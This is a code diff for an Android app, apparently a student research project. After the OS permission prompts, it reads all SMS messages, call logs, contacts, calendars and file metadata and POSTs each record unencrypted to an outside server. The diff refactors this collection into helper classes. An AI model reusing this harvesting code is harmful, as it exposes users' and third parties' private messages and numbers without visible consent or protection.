@@ -1,82 +1,79 @@
package com.example.alex.gatherer;

import android.Manifest;
import android.app.AppOpsManager;
import android.app.usage.UsageStatsManager;
import android.content.ContentResolver;

import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.media.MediaRecorder;

import android.os.Bundle;
import android.os.Environment;

import android.os.StrictMode;
import android.provider.ContactsContract;
import android.provider.Settings;
import android.support.design.widget.FloatingActionButton;
import android.support.design.widget.Snackbar;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.util.Log;
import android.view.View;

import android.view.Menu;
import android.view.MenuItem;
import android.database.Cursor;
import android.widget.TextView;
import android.widget.Toast;

import com.example.alex.gatherer.R;

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;

import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.app.AppOpsManager.OPSTR_GET_USAGE_STATS;
import android.widget.Button;
import android.widget.TextView;

import static android.os.Process.myUid;

public class MainActivity extends AppCompatActivity {

private static final int READ_TEXTS_PERMISSIONS_REQUEST = 1;
private static final int READ_CALLS_PERMISSIONS_REQUEST = 2;
private static final int READ_CALENDAR_PERMISSIONS_REQUEST = 3;
private static final int REQ_READ_CONTACTS = 100;
private static final int READ_STORAGE_PERMISSIONS_REQUEST = 4;
private static final int REQ_READ_CONTACTS = 5;

MediaRecorder mediaRecorder = new MediaRecorder();
private static String audioFilePath;
private static Button recordButton;
private static Button stopButton;
private boolean isRecording = false;

serverHook hook = new serverHook();
modalityText mtext = new modalityText();
modalityHabits mhabits = new modalityHabits();




TextView test; // for easy testing purposes

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Context mContext = getApplicationContext();

hook.sendToServer("debug","START");

setContentView(R.layout.activity_main);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);

test = (TextView)findViewById(R.id.Test);

// request text access if access not already available


if(checkSelfPermission(Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED){
requestPermissions(new String[]{Manifest.permission.READ_SMS},
READ_TEXTS_PERMISSIONS_REQUEST);
}
else{ // otherwise get texts
getTexts();
mtext.getTexts(mContext,hook);
}


// request call log access if access not already available
if(checkSelfPermission(Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED){
requestPermissions(new String[]{Manifest.permission.READ_CALL_LOG},
READ_CALLS_PERMISSIONS_REQUEST);
}
else{ // otherwise get calls
getCalls();
mhabits.getCalls(mContext,hook);
}

//request contacts access if access not already available
@@ -85,37 +82,57 @@ protected void onCreate(Bundle savedInstanceState) {
REQ_READ_CONTACTS);

}
else { // otherwise get ccontacts
getContacts();
else { // otherwise get contacts
mhabits.getContacts(mContext,hook);
}

//request contacts access if access not already available
//request calendar access if access not already available
if(checkSelfPermission(Manifest.permission.READ_CALENDAR) != PackageManager.PERMISSION_GRANTED){
requestPermissions(new String[]{Manifest.permission.READ_CALENDAR},
READ_CALENDAR_PERMISSIONS_REQUEST);

}
else { // otherwise get ccontacts
getCalendar();
else { // otherwise get calendar
mhabits.getCalendar(mContext,hook);
}

//request storage access if access not already available
if(checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
requestPermissions(new String[]{Manifest.permission.READ_EXTERNAL_STORAGE},
READ_STORAGE_PERMISSIONS_REQUEST);

}
else { // otherwise get storage
mhabits.getStorage(mContext,hook);
}



hook.sendToServer("debug","END");
}


protected boolean hasMicrophone() {
PackageManager pmanager = this.getPackageManager();
return pmanager.hasSystemFeature(
PackageManager.FEATURE_MICROPHONE);
}



@Override
public void onRequestPermissionsResult(int requestCode,
String permissions[], int[] grantResults) {


Context mContext = getApplicationContext();
switch (requestCode) {
case READ_TEXTS_PERMISSIONS_REQUEST: {
// If request is cancelled, the result arrays are empty.
if (grantResults.length > 0
&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {

getTexts();
mtext.getTexts(mContext,hook);
Log.d("MyAPP", "GOT TEXTS");
} else {

@@ -130,7 +147,7 @@ public void onRequestPermissionsResult(int requestCode,
if (grantResults.length > 0
&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {

getCalls();
mhabits.getCalls(mContext,hook);
Log.d("MyAPP", "GOT CALLS");

} else {
@@ -146,7 +163,7 @@ public void onRequestPermissionsResult(int requestCode,
//test.setText(Integer.toString(grantResults.length));
if (grantResults.length > 0
&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {
getContacts();
mhabits.getContacts(mContext,hook);
Log.d("MyAPP", "GOT CALLS");
} else {

@@ -159,7 +176,7 @@ public void onRequestPermissionsResult(int requestCode,
//test.setText(Integer.toString(grantResults.length));
if (grantResults.length > 0
&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {
getCalendar();
mhabits.getCalendar(mContext,hook);
Log.d("MyAPP", "GOT CALENDAR");
} else {

@@ -168,183 +185,22 @@ public void onRequestPermissionsResult(int requestCode,
return;
}

// other 'case' lines to check for other
// permissions this app might request
}

}

// scrapes call logs and sends them to a server
protected void getCalls(){
// array of all texts
List<String> calls = new ArrayList<>();

// inbox cursor
Cursor cursor = getContentResolver().query(Uri.parse("content://call_log/calls"), null, null, null, null);

if (cursor.moveToFirst()) { // must check the result to prevent exception
do {
String msgData = "";
for(int idx=0;idx<cursor.getColumnCount();idx++)
{
msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
}
calls.add(msgData);
} while (cursor.moveToNext());
} else {
System.out.println("No messages found");
}
cursor.close();



for (String t : calls) {
sendToServer(t);
}
}

// scrapes texts and sends them to a server
protected void getTexts(){
// array of all texts
List<String> texts = new ArrayList<>();

// inbox cursor
Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, null);

if (cursor.moveToFirst()) { // must check the result to prevent exception
do {
String msgData = "";
for(int idx=0;idx<cursor.getColumnCount();idx++)
{
msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
}
texts.add(msgData);
} while (cursor.moveToNext());
} else {
System.out.println("No messages found");
}
cursor.close();

// sent cursor
cursor = getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, null);
if (cursor.moveToFirst()) { // must check the result to prevent exception
do {
String msgData = "";
for(int idx=0;idx<cursor.getColumnCount();idx++)
{
msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
}
texts.add(msgData);
} while (cursor.moveToNext());
} else {
System.out.println("No messages found");
}
cursor.close();
case READ_STORAGE_PERMISSIONS_REQUEST: {
//test.setText(Integer.toString(grantResults.length));
if (grantResults.length > 0
&& grantResults[0] == PackageManager.PERMISSION_GRANTED) {
mhabits.getStorage(mContext,hook);
Log.d("MyAPP", "GOT STORAGE");
} else {

for (String t : texts) {
sendToServer(t);
}
}

// scrapes contacts and sends them to a server
protected void getContacts(){
ContentResolver cr = getContentResolver();
Cursor phone = cr.query(ContactsContract.Contacts.CONTENT_URI,
null, null, null, null);
if(phone == null){
Toast.makeText(getApplicationContext(), "ERROR could not create cursor.", Toast.LENGTH_LONG);
return;
}
Cursor conCursor;
String id, name, number;
String contact = "";
while(phone != null && phone.moveToNext()){
name = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
id = phone.getString(phone.getColumnIndex(ContactsContract.Contacts._ID));

contact += name + ":";

if(phone.getInt(phone.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0){
conCursor = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
new String[]{id},
null);
while(conCursor.moveToNext()){
number = conCursor.getString(conCursor.getColumnIndex((ContactsContract.CommonDataKinds.Phone.NUMBER)));
contact += number + " ";
}
conCursor.close();
return;
}
contact += '\n';
sendToServer(contact);
test.setText(contact);


}
phone.close();
}

// scrapes call logs and sends them to a server
protected void getCalendar(){
// array of all texts
List<String> events = new ArrayList<>();

// inbox cursor
Cursor cursor = getContentResolver().query(Uri.parse("content://com.android.calendar/calendars"), null, null, null, null);

if (cursor.moveToFirst()) { // must check the result to prevent exception
do {
String eventData = "";
for(int idx=0;idx<cursor.getColumnCount();idx++)
{
eventData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
}
events.add(eventData);
} while (cursor.moveToNext());
} else {
System.out.println("No events found");
}
cursor.close();



for (String e : events) {
sendToServer(e);
}
}

// other 'case' lines to check for other
// permissions this app might request

public void sendToServer(String msg) {
try {

StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
String toSend = msg;
String urlParameters = "message=" + toSend;
String request = "http://wootsy.pythonanywhere.com";
URL url = new URL(request);

HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setInstanceFollowRedirects(false);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty("Content-Length", "" + Integer.toString(urlParameters.getBytes().length));
connection.setUseCaches(false);

DataOutputStream wr = new DataOutputStream(connection.getOutputStream());
wr.writeBytes(urlParameters);
connection.getInputStream();
wr.flush();
wr.close();
connection.disconnect();

} catch(Exception e) {
e.printStackTrace();
}

}
@@ -0,0 +1,149 @@
package com.example.alex.gatherer;

import android.Manifest;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.provider.ContactsContract;
import android.support.v7.app.AppCompatActivity;
import android.widget.Toast;

import java.util.ArrayList;
import java.util.List;

/**
* Created by Alex on 10/22/2017.
*/

public class modalityHabits extends AppCompatActivity {


serverHook hook = new serverHook();


// scrapes call logs and sends them to a server
public void getCalls(Context mContext, serverHook hook){
// array of all texts
List<String> calls = new ArrayList<>();

// inbox cursor
Cursor cursor = mContext.getContentResolver().query(Uri.parse("content://call_log/calls"), null, null, null, null);

if (cursor.moveToFirst()) { // must check the result to prevent exception
do {
String msgData = "";
for(int idx=0;idx<cursor.getColumnCount();idx++)
{
msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
}
calls.add(msgData);
} while (cursor.moveToNext());
} else {
System.out.println("No messages found");
}
cursor.close();



for (String t : calls) {
hook.sendToServer("log",t);
}
}

// scrapes contacts and sends them to a server
public void getContacts(Context mContext,serverHook hook){
ContentResolver cr = mContext.getContentResolver();
Cursor phone = cr.query(ContactsContract.Contacts.CONTENT_URI,
null, null, null, null);
if(phone == null){
return;
}
Cursor conCursor;
String id, name, number;
String contact = "";
while(phone != null && phone.moveToNext()){
name = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
id = phone.getString(phone.getColumnIndex(ContactsContract.Contacts._ID));

contact += name + ":";

if(phone.getInt(phone.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0){
conCursor = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
new String[]{id},
null);
while(conCursor.moveToNext()){
number = conCursor.getString(conCursor.getColumnIndex((ContactsContract.CommonDataKinds.Phone.NUMBER)));
contact += number + " ";
}
conCursor.close();
}
//contact += '\n';
hook.sendToServer("contact",contact);

}
phone.close();
}

// scrapes call logs and sends them to a server
public void getCalendar(Context mContext,serverHook hook){
// array of all texts
List<String> events = new ArrayList<>();

// inbox cursor
Cursor cursor = mContext.getContentResolver().query(Uri.parse("content://com.android.calendar/calendars"), null, null, null, null);

if (cursor.moveToFirst()) { // must check the result to prevent exception
do {
String eventData = "";
for(int idx=0;idx<cursor.getColumnCount();idx++)
{
eventData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
}
events.add(eventData);
} while (cursor.moveToNext());
} else {
System.out.println("No events found");
}
cursor.close();



for (String e : events) {
hook.sendToServer("calendar",e);
}
}

// scrapes call logs and sends them to a server
public void getStorage(Context mContext,serverHook hook){
// array of all texts
List<String> events = new ArrayList<>();

// inbox cursor
Cursor cursor = mContext.getContentResolver().query(Uri.parse("content://media/external/file/"), null, null, null, null);

if (cursor.moveToFirst()) { // must check the result to prevent exception
do {
String eventData = "";
for(int idx=0;idx<cursor.getColumnCount();idx++)
{
eventData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
}
events.add(eventData);
} while (cursor.moveToNext());
} else {
System.out.println("No events found");
}
cursor.close();



for (String e : events) {
//hook.sendToServer(e);
}
}

}
@@ -0,0 +1,64 @@
package com.example.alex.gatherer;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.support.v7.app.AppCompatActivity;

import java.util.ArrayList;
import java.util.List;

/**
* Created by Alex on 10/22/2017.
*/

public class modalityText extends AppCompatActivity {


// scrapes texts and sends them to a server
public void getTexts(Context mContext, serverHook hook){
// array of all texts

List<String> texts = new ArrayList<>();

// inbox cursor
Cursor cursor = mContext.getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, null);

if (cursor.moveToFirst()) { // must check the result to prevent exception
do {
String msgData = "";
for(int idx=0;idx<cursor.getColumnCount();idx++)
{
msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
}
texts.add(msgData);
} while (cursor.moveToNext());
} else {
System.out.println("No messages found");
}
cursor.close();

// sent cursor
cursor = mContext.getContentResolver().query(Uri.parse("content://sms/sent"), null, null, null, null);
if (cursor.moveToFirst()) { // must check the result to prevent exception
do {
String msgData = "";
for(int idx=0;idx<cursor.getColumnCount();idx++)
{
msgData += " " + cursor.getColumnName(idx) + ":" + cursor.getString(idx);
}
texts.add(msgData);
} while (cursor.moveToNext());
} else {
System.out.println("No messages found");
}
cursor.close();

for (String t : texts) {
hook.sendToServer("text",t);
}
}

}
@@ -0,0 +1,49 @@
package com.example.alex.gatherer;

import android.os.StrictMode;
import android.support.v7.app.AppCompatActivity;

import java.io.DataOutputStream;
import java.net.HttpURLConnection;
import java.net.URL;

/**
* Created by Alex on 10/22/2017.
*/

public class serverHook extends AppCompatActivity {

public void sendToServer(String type, String msg) {
try {

StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
.permitAll().build();
StrictMode.setThreadPolicy(policy);
String toSend = msg;
String urlParameters = type + "=" + toSend;
String request = "http://wootsy.pythonanywhere.com";
URL url = new URL(request);

HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setInstanceFollowRedirects(false);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty("Content-Length", "" + Integer.toString(urlParameters.getBytes().length));
connection.setUseCaches(false);

DataOutputStream wr = new DataOutputStream(connection.getOutputStream());
wr.writeBytes(urlParameters);
connection.getInputStream();
wr.flush();
wr.close();
connection.disconnect();

} catch(Exception e) {
e.printStackTrace();
}

}
}
@@ -34,7 +34,7 @@
jumboMode="true"
optimize="true"
revision="25.0.0"
sha1="241fd32263853ef371b4af581931f15dfb753224">
sha1="e41ab51fb162beb4418a6c8ead1d209ede21359a">
<dex dex="C:\Users\Alex\AndroidStudioProjects\depression-mqp\app\build\intermediates\transforms\dex\debug\folders\1000\10000\instant-run-bootstrap_871bdb35569ea07a35b690a0a2e092fbac1dbf75\classes.dex" />
</item>
<item